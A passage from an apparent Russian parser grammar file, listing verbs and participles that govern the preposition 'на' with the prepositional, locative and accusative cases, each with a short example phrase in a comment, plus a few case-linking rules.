rus_verbs:пошарить{}, // пошарить на полках
rus_verbs:планировать{}, // планировать на бумаге
rus_verbs:ранить{}, // ранить на полигоне
rus_verbs:хлопать{}, // хлопать на сцене
rus_verbs:основать{}, // основать на горе новый монастырь
rus_verbs:отбить{}, // отбить на столе
rus_verbs:отрицать{}, // отрицать на заседании комиссии
rus_verbs:устоять{}, // устоять на ногах
rus_verbs:отзываться{}, // отзываться на страницах отчёта
rus_verbs:притормозить{}, // притормозить на обочине
rus_verbs:читаться{}, // читаться на лице
rus_verbs:заиграть{}, // заиграть на саксофоне
rus_verbs:зависнуть{}, // зависнуть на игровой площадке
rus_verbs:сознаться{}, // сознаться на допросе
rus_verbs:выясняться{}, // выясняться на очной ставке
rus_verbs:наводить{}, // наводить на столе порядок
rus_verbs:покоиться{}, // покоиться на кладбище
rus_verbs:значиться{}, // значиться на бейджике
rus_verbs:съехать{}, // съехать на санках
rus_verbs:познакомить{}, // познакомить на свадьбе
rus_verbs:завязать{}, // завязать на спине
rus_verbs:грохнуть{}, // грохнуть на площади
rus_verbs:разъехаться{}, // разъехаться на узкой дороге
rus_verbs:столпиться{}, // столпиться на крыльце
rus_verbs:порыться{}, // порыться на полках
rus_verbs:ослабить{}, // ослабить на шее
rus_verbs:оправдывать{}, // оправдывать на суде
rus_verbs:обнаруживаться{}, // обнаруживаться на складе
rus_verbs:спастись{}, // спастись на дереве
rus_verbs:прерваться{}, // прерваться на полуслове
rus_verbs:строиться{}, // строиться на пустыре
rus_verbs:познать{}, // познать на практике
rus_verbs:путешествовать{}, // путешествовать на поезде
rus_verbs:побеждать{}, // побеждать на ринге
rus_verbs:рассматриваться{}, // рассматриваться на заседании
rus_verbs:продаваться{}, // продаваться на открытом рынке
rus_verbs:разместиться{}, // разместиться на базе
rus_verbs:завыть{}, // завыть на холме
rus_verbs:настигнуть{}, // настигнуть на окраине
rus_verbs:укрыться{}, // укрыться на чердаке
rus_verbs:расплакаться{}, // расплакаться на заседании комиссии
rus_verbs:заканчивать{}, // заканчивать на последнем задании
rus_verbs:пролежать{}, // пролежать на столе
rus_verbs:громоздиться{}, // громоздиться на полу
rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе
rus_verbs:поскользнуться{}, // поскользнуться на льду
rus_verbs:таскать{}, // таскать на спине
rus_verbs:просматривать{}, // просматривать на сайте
rus_verbs:обдумать{}, // обдумать на досуге
rus_verbs:гадать{}, // гадать на кофейной гуще
rus_verbs:останавливать{}, // останавливать на выходе
rus_verbs:обозначать{}, // обозначать на странице
rus_verbs:долететь{}, // долететь на спортивном байке
rus_verbs:тесниться{}, // тесниться на чердачке
rus_verbs:хоронить{}, // хоронить на частном кладбище
rus_verbs:установиться{}, // установиться на юге
rus_verbs:прикидывать{}, // прикидывать на клочке бумаги
rus_verbs:затаиться{}, // затаиться на дереве
rus_verbs:раздобыть{}, // раздобыть на складе
rus_verbs:перебросить{}, // перебросить на вертолетах
rus_verbs:захватывать{}, // захватывать на базе
rus_verbs:сказаться{}, // сказаться на итоговых оценках
rus_verbs:покачиваться{}, // покачиваться на волнах
rus_verbs:крутиться{}, // крутиться на кухне
rus_verbs:помещаться{}, // помещаться на полке
rus_verbs:питаться{}, // питаться на помойке
rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле
rus_verbs:кататься{}, // кататься на велике
rus_verbs:поработать{}, // поработать на стройке
rus_verbs:ограбить{}, // ограбить на пустыре
rus_verbs:зарабатывать{}, // зарабатывать на бирже
rus_verbs:преуспеть{}, // преуспеть на ниве искусства
rus_verbs:заерзать{}, // заерзать на стуле
rus_verbs:разъяснить{}, // разъяснить на полях
rus_verbs:отчеканить{}, // отчеканить на медной пластине
rus_verbs:торговать{}, // торговать на рынке
rus_verbs:поколебаться{}, // поколебаться на пороге
rus_verbs:прикинуть{}, // прикинуть на бумажке
rus_verbs:рассечь{}, // рассечь на тупом конце
rus_verbs:посмеяться{}, // посмеяться на переменке
rus_verbs:остыть{}, // остыть на морозном воздухе
rus_verbs:запереться{}, // запереться на чердаке
rus_verbs:обогнать{}, // обогнать на повороте
rus_verbs:подтянуться{}, // подтянуться на турнике
rus_verbs:привозить{}, // привозить на машине
rus_verbs:подбирать{}, // подбирать на полу
rus_verbs:уничтожать{}, // уничтожать на подходе
rus_verbs:притаиться{}, // притаиться на вершине
rus_verbs:плясать{}, // плясать на костях
rus_verbs:поджидать{}, // поджидать на вокзале
rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!)
rus_verbs:смениться{}, // смениться на посту
rus_verbs:посчитать{}, // посчитать на пальцах
rus_verbs:прицелиться{}, // прицелиться на бегу
rus_verbs:нарисовать{}, // нарисовать на стене
rus_verbs:прыгать{}, // прыгать на сцене
rus_verbs:повертеть{}, // повертеть на пальце
rus_verbs:попрощаться{}, // попрощаться на панихиде
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване
rus_verbs:разобрать{}, // разобрать на столе
rus_verbs:помереть{}, // помереть на чужбине
rus_verbs:различить{}, // различить на нечеткой фотографии
rus_verbs:рисовать{}, // рисовать на доске
rus_verbs:проследить{}, // проследить на экране
rus_verbs:задремать{}, // задремать на диване
rus_verbs:ругаться{}, // ругаться на людях
rus_verbs:сгореть{}, // сгореть на работе
rus_verbs:зазвучать{}, // зазвучать на коротких волнах
rus_verbs:задохнуться{}, // задохнуться на вершине горы
rus_verbs:порождать{}, // порождать на поверхности небольшую рябь
rus_verbs:отдыхать{}, // отдыхать на курорте
rus_verbs:образовать{}, // образовать на дне толстый слой
rus_verbs:поправиться{}, // поправиться на дармовых харчах
rus_verbs:отмечать{}, // отмечать на календаре
rus_verbs:реять{}, // реять на флагштоке
rus_verbs:ползти{}, // ползти на коленях
rus_verbs:продавать{}, // продавать на аукционе
rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче
rus_verbs:рыскать{}, // мышки рыскали на кухне
rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы
rus_verbs:напасть{}, // напасть на территории другого государства
rus_verbs:издать{}, // издать на западе
rus_verbs:оставаться{}, // оставаться на страже порядка
rus_verbs:появиться{}, // наконец появиться на экране
rus_verbs:лежать{}, // лежать на столе
rus_verbs:ждать{}, // ждать на берегу
инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге
глагол:писать{aux stress="пис^ать"},
rus_verbs:оказываться{}, // оказываться на полу
rus_verbs:поставить{}, // поставить на столе
rus_verbs:держать{}, // держать на крючке
rus_verbs:выходить{}, // выходить на остановке
rus_verbs:заговорить{}, // заговорить на китайском языке
rus_verbs:ожидать{}, // ожидать на стоянке
rus_verbs:закричать{}, // закричал на минарете муэдзин
rus_verbs:простоять{}, // простоять на посту
rus_verbs:продолжить{}, // продолжить на первом этаже
rus_verbs:ощутить{}, // ощутить на себе влияние кризиса
rus_verbs:состоять{}, // состоять на учете
rus_verbs:готовиться{},
инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте
глагол:акклиматизироваться{вид:несоверш},
rus_verbs:арестовать{}, // грабители были арестованы на месте преступления
rus_verbs:схватить{}, // грабители были схвачены на месте преступления
инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{ вид:соверш },
прилагательное:атаковавший{ вид:соверш },
rus_verbs:базировать{}, // установка будет базирована на границе
rus_verbs:базироваться{}, // установка базируется на границе
rus_verbs:барахтаться{}, // дети барахтались на мелководье
rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке
rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке
rus_verbs:бренчать{}, // парень что-то бренчал на гитаре
rus_verbs:бренькать{}, // парень что-то бренькает на гитаре
rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории.
rus_verbs:буксовать{}, // Колеса буксуют на льду
rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле
rus_verbs:взвести{}, // Боец взвел на оружии предохранитель
rus_verbs:вилять{}, // Машина сильно виляла на дороге
rus_verbs:висеть{}, // Яблоко висит на ветке
rus_verbs:возлежать{}, // возлежать на лежанке
rus_verbs:подниматься{}, // Мы поднимаемся на лифте
rus_verbs:подняться{}, // Мы поднимемся на лифте
rus_verbs:восседать{}, // Коля восседает на лошади
rus_verbs:воссиять{}, // Луна воссияла на небе
rus_verbs:воцариться{}, // Мир воцарился на всей земле
rus_verbs:воцаряться{}, // Мир воцаряется на всей земле
rus_verbs:вращать{}, // вращать на поясе
rus_verbs:вращаться{}, // вращаться на поясе
rus_verbs:встретить{}, // встретить друга на улице
rus_verbs:встретиться{}, // встретиться на занятиях
rus_verbs:встречать{}, // встречать на занятиях
rus_verbs:въебывать{}, // въебывать на работе
rus_verbs:въезжать{}, // въезжать на автомобиле
rus_verbs:въехать{}, // въехать на автомобиле
rus_verbs:выгорать{}, // ткань выгорает на солнце
rus_verbs:выгореть{}, // ткань выгорела на солнце
rus_verbs:выгравировать{}, // выгравировать на табличке надпись
rus_verbs:выжить{}, // выжить на необитаемом острове
rus_verbs:вылежаться{}, // помидоры вылежались на солнце
rus_verbs:вылеживаться{}, // вылеживаться на солнце
rus_verbs:выместить{}, // выместить на ком-то злобу
rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение
rus_verbs:вымещаться{}, // вымещаться на ком-то
rus_verbs:выращивать{}, // выращивать на грядке помидоры
rus_verbs:выращиваться{}, // выращиваться на грядке
инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись
глагол:вырезать{вид:соверш},
инфинитив:вырезать{вид:несоверш},
глагол:вырезать{вид:несоверш},
rus_verbs:вырисоваться{}, // вырисоваться на графике
rus_verbs:вырисовываться{}, // вырисовываться на графике
rus_verbs:высаживать{}, // высаживать на необитаемом острове
rus_verbs:высаживаться{}, // высаживаться на острове
rus_verbs:высвечивать{}, // высвечивать на дисплее температуру
rus_verbs:высвечиваться{}, // высвечиваться на дисплее
rus_verbs:выстроить{}, // выстроить на фундаменте
rus_verbs:выстроиться{}, // выстроиться на плацу
rus_verbs:выстудить{}, // выстудить на морозе
rus_verbs:выстудиться{}, // выстудиться на морозе
rus_verbs:выстужать{}, // выстужать на морозе
rus_verbs:выстуживать{}, // выстуживать на морозе
rus_verbs:выстуживаться{}, // выстуживаться на морозе
rus_verbs:выстукать{}, // выстукать на клавиатуре
rus_verbs:выстукивать{}, // выстукивать на клавиатуре
rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре
rus_verbs:выступать{}, // выступать на сцене
rus_verbs:выступить{}, // выступить на сцене
rus_verbs:выстучать{}, // выстучать на клавиатуре
rus_verbs:выстывать{}, // выстывать на морозе
rus_verbs:выстыть{}, // выстыть на морозе
rus_verbs:вытатуировать{}, // вытатуировать на руке якорь
rus_verbs:говорить{}, // говорить на повышенных тонах
rus_verbs:заметить{}, // заметить на берегу
rus_verbs:стоять{}, // твёрдо стоять на ногах
rus_verbs:оказаться{}, // оказаться на передовой линии
rus_verbs:почувствовать{}, // почувствовать на своей шкуре
rus_verbs:остановиться{}, // остановиться на первом пункте
rus_verbs:показаться{}, // показаться на горизонте
rus_verbs:чувствовать{}, // чувствовать на своей шкуре
rus_verbs:искать{}, // искать на открытом пространстве
rus_verbs:иметься{}, // иметься на складе
rus_verbs:клясться{}, // клясться на Коране
rus_verbs:прервать{}, // прервать на полуслове
rus_verbs:играть{}, // играть на чувствах
rus_verbs:спуститься{}, // спуститься на парашюте
rus_verbs:понадобиться{}, // понадобиться на экзамене
rus_verbs:служить{}, // служить на флоте
rus_verbs:подобрать{}, // подобрать на улице
rus_verbs:появляться{}, // появляться на сцене
rus_verbs:селить{}, // селить на чердаке
rus_verbs:поймать{}, // поймать на границе
rus_verbs:увидать{}, // увидать на опушке
rus_verbs:подождать{}, // подождать на перроне
rus_verbs:прочесть{}, // прочесть на полях
rus_verbs:тонуть{}, // тонуть на мелководье
rus_verbs:ощущать{}, // ощущать на коже
rus_verbs:отметить{}, // отметить на полях
rus_verbs:показывать{}, // показывать на графике
rus_verbs:разговаривать{}, // разговаривать на иностранном языке
rus_verbs:прочитать{}, // прочитать на сайте
rus_verbs:попробовать{}, // попробовать на практике
rus_verbs:замечать{}, // замечать на коже грязь
rus_verbs:нести{}, // нести на плечах
rus_verbs:носить{}, // носить на голове
rus_verbs:гореть{}, // гореть на работе
rus_verbs:застыть{}, // застыть на пороге
инфинитив:жениться{ вид:соверш }, // жениться на королеве
глагол:жениться{ вид:соверш },
прилагательное:женатый{},
прилагательное:женившийся{},
rus_verbs:спрятать{}, // спрятать на чердаке
rus_verbs:развернуться{}, // развернуться на плацу
rus_verbs:строить{}, // строить на песке
rus_verbs:устроить{}, // устроить на даче тестральный вечер
rus_verbs:настаивать{}, // настаивать на выполнении приказа
rus_verbs:находить{}, // находить на берегу
rus_verbs:мелькнуть{}, // мелькнуть на экране
rus_verbs:очутиться{}, // очутиться на опушке леса
инфинитив:использовать{вид:соверш}, // использовать на работе
глагол:использовать{вид:соверш},
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
прилагательное:использованный{},
прилагательное:использующий{},
прилагательное:использовавший{},
rus_verbs:лететь{}, // лететь на воздушном шаре
rus_verbs:смеяться{}, // смеяться на сцене
rus_verbs:ездить{}, // ездить на мопеде
rus_verbs:заснуть{}, // заснуть на диване
rus_verbs:застать{}, // застать на рабочем месте
rus_verbs:очнуться{}, // очнуться на больничной койке
rus_verbs:разглядеть{}, // разглядеть на фотографии
rus_verbs:обойти{}, // обойти на вираже
rus_verbs:удержаться{}, // удержаться на троне
rus_verbs:побывать{}, // побывать на другой планете
rus_verbs:заняться{}, // заняться на выходных делом
rus_verbs:вянуть{}, // вянуть на солнце
rus_verbs:постоять{}, // постоять на голове
rus_verbs:приобрести{}, // приобрести на распродаже
rus_verbs:попасться{}, // попасться на краже
rus_verbs:продолжаться{}, // продолжаться на земле
rus_verbs:открывать{}, // открывать на арене
rus_verbs:создавать{}, // создавать на сцене
rus_verbs:обсуждать{}, // обсуждать на кухне
rus_verbs:отыскать{}, // отыскать на полу
rus_verbs:уснуть{}, // уснуть на диване
rus_verbs:задержаться{}, // задержаться на работе
rus_verbs:курить{}, // курить на свежем воздухе
rus_verbs:приподняться{}, // приподняться на локтях
rus_verbs:установить{}, // установить на вершине
rus_verbs:запереть{}, // запереть на балконе
rus_verbs:синеть{}, // синеть на воздухе
rus_verbs:убивать{}, // убивать на нейтральной территории
rus_verbs:скрываться{}, // скрываться на даче
rus_verbs:родить{}, // родить на полу
rus_verbs:описать{}, // описать на страницах книги
rus_verbs:перехватить{}, // перехватить на подлете
rus_verbs:скрывать{}, // скрывать на даче
rus_verbs:сменить{}, // сменить на посту
rus_verbs:мелькать{}, // мелькать на экране
rus_verbs:присутствовать{}, // присутствовать на мероприятии
rus_verbs:украсть{}, // украсть на рынке
rus_verbs:победить{}, // победить на ринге
rus_verbs:упомянуть{}, // упомянуть на страницах романа
rus_verbs:плыть{}, // плыть на старой лодке
rus_verbs:повиснуть{}, // повиснуть на перекладине
rus_verbs:нащупать{}, // нащупать на дне
rus_verbs:затихнуть{}, // затихнуть на дне
rus_verbs:построить{}, // построить на участке
rus_verbs:поддерживать{}, // поддерживать на поверхности
rus_verbs:заработать{}, // заработать на бирже
rus_verbs:провалиться{}, // провалиться на экзамене
rus_verbs:сохранить{}, // сохранить на диске
rus_verbs:располагаться{}, // располагаться на софе
rus_verbs:поклясться{}, // поклясться на библии
rus_verbs:сражаться{}, // сражаться на арене
rus_verbs:спускаться{}, // спускаться на дельтаплане
rus_verbs:уничтожить{}, // уничтожить на подступах
rus_verbs:изучить{}, // изучить на практике
rus_verbs:рождаться{}, // рождаться на праздниках
rus_verbs:прилететь{}, // прилететь на самолете
rus_verbs:догнать{}, // догнать на перекрестке
rus_verbs:изобразить{}, // изобразить на бумаге
rus_verbs:проехать{}, // проехать на тракторе
rus_verbs:приготовить{}, // приготовить на масле
rus_verbs:споткнуться{}, // споткнуться на полу
rus_verbs:собирать{}, // собирать на берегу
rus_verbs:отсутствовать{}, // отсутствовать на тусовке
rus_verbs:приземлиться{}, // приземлиться на военном аэродроме
rus_verbs:сыграть{}, // сыграть на трубе
rus_verbs:прятаться{}, // прятаться на даче
rus_verbs:спрятаться{}, // спрятаться на чердаке
rus_verbs:провозгласить{}, // провозгласить на митинге
rus_verbs:изложить{}, // изложить на бумаге
rus_verbs:использоваться{}, // использоваться на практике
rus_verbs:замяться{}, // замяться на входе
rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота
rus_verbs:сверкнуть{}, // сверкнуть на солнце
rus_verbs:сверкать{}, // сверкать на свету
rus_verbs:задержать{}, // задержать на митинге
rus_verbs:осечься{}, // осечься на первом слове
rus_verbs:хранить{}, // хранить на банковском счету
rus_verbs:шутить{}, // шутить на уроке
rus_verbs:кружиться{}, // кружиться на балу
rus_verbs:чертить{}, // чертить на доске
rus_verbs:отразиться{}, // отразиться на оценках
rus_verbs:греть{}, // греть на солнце
rus_verbs:рассуждать{}, // рассуждать на страницах своей книги
rus_verbs:окружать{}, // окружать на острове
rus_verbs:сопровождать{}, // сопровождать на охоте
rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте
rus_verbs:содержаться{}, // содержаться на приусадебном участке
rus_verbs:поселиться{}, // поселиться на даче
rus_verbs:запеть{}, // запеть на сцене
инфинитив:провозить{ вид:несоверш }, // провозить на теле
глагол:провозить{ вид:несоверш },
прилагательное:провезенный{},
прилагательное:провозивший{вид:несоверш},
прилагательное:провозящий{вид:несоверш},
деепричастие:провозя{},
rus_verbs:мочить{}, // мочить на месте
rus_verbs:преследовать{}, // преследовать на территории другого штата
rus_verbs:пролететь{}, // пролетел на параплане
rus_verbs:драться{}, // драться на рапирах
rus_verbs:просидеть{}, // просидеть на занятиях
rus_verbs:убираться{}, // убираться на балконе
rus_verbs:таять{}, // таять на солнце
rus_verbs:проверять{}, // проверять на полиграфе
rus_verbs:убеждать{}, // убеждать на примере
rus_verbs:скользить{}, // скользить на льду
rus_verbs:приобретать{}, // приобретать на распродаже
rus_verbs:летать{}, // летать на метле
rus_verbs:толпиться{}, // толпиться на перроне
rus_verbs:плавать{}, // плавать на надувном матрасе
rus_verbs:описывать{}, // описывать на страницах повести
rus_verbs:пробыть{}, // пробыть на солнце слишком долго
rus_verbs:застрять{}, // застрять на верхнем этаже
rus_verbs:метаться{}, // метаться на полу
rus_verbs:сжечь{}, // сжечь на костре
rus_verbs:расслабиться{}, // расслабиться на кушетке
rus_verbs:услыхать{}, // услыхать на рынке
rus_verbs:удержать{}, // удержать на прежнем уровне
rus_verbs:образоваться{}, // образоваться на дне
rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа
rus_verbs:уезжать{}, // уезжать на попутке
rus_verbs:похоронить{}, // похоронить на закрытом кладбище
rus_verbs:настоять{}, // настоять на пересмотре оценок
rus_verbs:растянуться{}, // растянуться на горячем песке
rus_verbs:покрутить{}, // покрутить на шесте
rus_verbs:обнаружиться{}, // обнаружиться на болоте
rus_verbs:гулять{}, // гулять на свадьбе
rus_verbs:утонуть{}, // утонуть на курорте
rus_verbs:храниться{}, // храниться на депозите
rus_verbs:танцевать{}, // танцевать на свадьбе
rus_verbs:трудиться{}, // трудиться на заводе
инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати
глагол:засыпать{переходность:непереходный вид:несоверш},
деепричастие:засыпая{переходность:непереходный вид:несоверш},
прилагательное:засыпавший{переходность:непереходный вид:несоверш},
прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках
rus_verbs:сушить{}, // сушить на открытом воздухе
rus_verbs:зашевелиться{}, // зашевелиться на чердаке
rus_verbs:обдумывать{}, // обдумывать на досуге
rus_verbs:докладывать{}, // докладывать на научной конференции
rus_verbs:промелькнуть{}, // промелькнуть на экране
// прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории
прилагательное:написанный{}, // слово, написанное на заборе
rus_verbs:умещаться{}, // компьютер, умещающийся на ладони
rus_verbs:открыть{}, // книга, открытая на последней странице
rus_verbs:спать{}, // йог, спящий на гвоздях
rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте
rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте
rus_verbs:отобразиться{}, // удивление, отобразившееся на лице
rus_verbs:увидеть{}, // на полу я увидел чьи-то следы
rus_verbs:видеть{}, // на полу я вижу чьи-то следы
rus_verbs:оставить{}, // Мел оставил на доске белый след.
rus_verbs:оставлять{}, // Мел оставляет на доске белый след.
rus_verbs:встречаться{}, // встречаться на лекциях
rus_verbs:познакомиться{}, // познакомиться на занятиях
rus_verbs:устроиться{}, // она устроилась на кровати
rus_verbs:ложиться{}, // ложись на полу
rus_verbs:останавливаться{}, // останавливаться на достигнутом
rus_verbs:спотыкаться{}, // спотыкаться на ровном месте
rus_verbs:распечатать{}, // распечатать на бумаге
rus_verbs:распечатывать{}, // распечатывать на бумаге
rus_verbs:просмотреть{}, // просмотреть на бумаге
rus_verbs:закрепляться{}, // закрепляться на плацдарме
rus_verbs:погреться{}, // погреться на солнышке
rus_verbs:мешать{}, // Он мешал краски на палитре.
rus_verbs:занять{}, // Он занял первое место на соревнованиях.
rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках.
деепричастие:женившись{ вид:соверш },
rus_verbs:везти{}, // Он везёт песок на тачке.
прилагательное:казненный{}, // Он был казнён на электрическом стуле.
rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче.
rus_verbs:принести{}, // Официантка принесла нам обед на подносе.
rus_verbs:переписать{}, // Перепишите эту рукопись на машинке.
rus_verbs:идти{}, // Поезд идёт на малой скорости.
rus_verbs:петь{}, // птички поют на рассвете
rus_verbs:смотреть{}, // Смотри на обороте.
rus_verbs:прибрать{}, // прибрать на столе
rus_verbs:прибраться{}, // прибраться на столе
rus_verbs:растить{}, // растить капусту на огороде
rus_verbs:тащить{}, // тащить ребенка на руках
rus_verbs:убирать{}, // убирать на столе
rus_verbs:простыть{}, // Я простыл на морозе.
rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе.
rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде
rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках.
rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге.
rus_verbs:вскочить{}, // У него вскочил прыщ на носу.
rus_verbs:свить{}, // У нас на балконе воробей свил гнездо.
rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица.
rus_verbs:восходить{}, // Солнце восходит на востоке.
rus_verbs:блестеть{}, // Снег блестит на солнце.
rus_verbs:побить{}, // Рысак побил всех лошадей на скачках.
rus_verbs:литься{}, // Реки крови льются на войне.
rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах.
rus_verbs:клубиться{}, // Пыль клубится на дороге.
инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке
глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке.
// глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути
// инфинитив:находиться{вид:несоверш},
rus_verbs:жить{}, // Было интересно жить на курорте.
rus_verbs:повидать{}, // Он много повидал на своём веку.
rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду.
rus_verbs:расположиться{}, // Оба села расположились на берегу реки.
rus_verbs:объясняться{}, // Они объясняются на иностранном языке.
rus_verbs:прощаться{}, // Они долго прощались на вокзале.
rus_verbs:работать{}, // Она работает на ткацкой фабрике.
rus_verbs:купить{}, // Она купила молоко на рынке.
rus_verbs:поместиться{}, // Все книги поместились на полке.
глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике.
rus_verbs:пожить{}, // Недолго она пожила на свете.
rus_verbs:краснеть{}, // Небо краснеет на закате.
rus_verbs:бывать{}, // На Волге бывает сильное волнение.
rus_verbs:ехать{}, // Мы туда ехали на автобусе.
rus_verbs:провести{}, // Мы провели месяц на даче.
rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице.
rus_verbs:расти{}, // Арбузы растут теперь не только на юге.
ГЛ_ИНФ(сидеть), // три больших пса сидят на траве
ГЛ_ИНФ(сесть), // три больших пса сели на траву
ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль
ГЛ_ИНФ(повезти), // я повезу тебя на машине
ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси
ГЛ_ИНФ(пить), // пить на кухне чай
ГЛ_ИНФ(найти), // найти на острове
ГЛ_ИНФ(быть), // на этих костях есть следы зубов
ГЛ_ИНФ(высадиться), // помощники высадились на острове
ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове
ГЛ_ИНФ(случиться), // это случилось на опушке леса
ГЛ_ИНФ(продать),
ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: смотреть на youtube
fact гл_предл
{
if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} }
then return true
}
// локатив
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} }
then return true
}
#endregion ПРЕДЛОЖНЫЙ
#region ВИНИТЕЛЬНЫЙ
// НА+винительный падеж:
// ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ
#region VerbList
wordentry_set Гл_НА_Вин=
{
rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили.
rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку.
rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай.
rus_verbs:умножить{}, // Умножьте это количество примерно на 10.
//rus_verbs:умножать{},
rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу.
rus_verbs:откатывать{},
rus_verbs:доносить{}, // Вот и побежали на вас доносить.
rus_verbs:донести{},
rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали.
безлич_глагол:хватит{}, // - На одну атаку хватит.
rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты.
rus_verbs:поскупиться{}, // Не поскупись на похвалы!
rus_verbs:подыматься{},
rus_verbs:транспортироваться{},
rus_verbs:бахнуть{}, // Бахнуть стакан на пол
rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ)
rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ)
rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ)
rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ)
rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ)
rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ)
rus_verbs:БРЫЗГАТЬ{},
rus_verbs:БРЫЗНУТЬ{},
rus_verbs:КАПНУТЬ{},
rus_verbs:КАПАТЬ{},
rus_verbs:ПОКАПАТЬ{},
rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ)
rus_verbs:ОХОТИТЬСЯ{}, //
rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ)
rus_verbs:НАРВАТЬСЯ{}, //
rus_verbs:НАТОЛКНУТЬСЯ{}, //
rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ)
прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ)
rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ)
rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ)
rus_verbs:СТАЛКИВАТЬ{}, //
rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ)
rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ)
rus_verbs:ПЕРЕБРОСИТЬ{}, //
rus_verbs:НАБРАСЫВАТЬ{}, //
rus_verbs:НАБРОСИТЬ{}, //
rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. (СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ)
rus_verbs:СВОРАЧИВАТЬ{}, // //
rus_verbs:ПОВЕРНУТЬ{}, //
rus_verbs:ПОВОРАЧИВАТЬ{}, //
rus_verbs:наорать{},
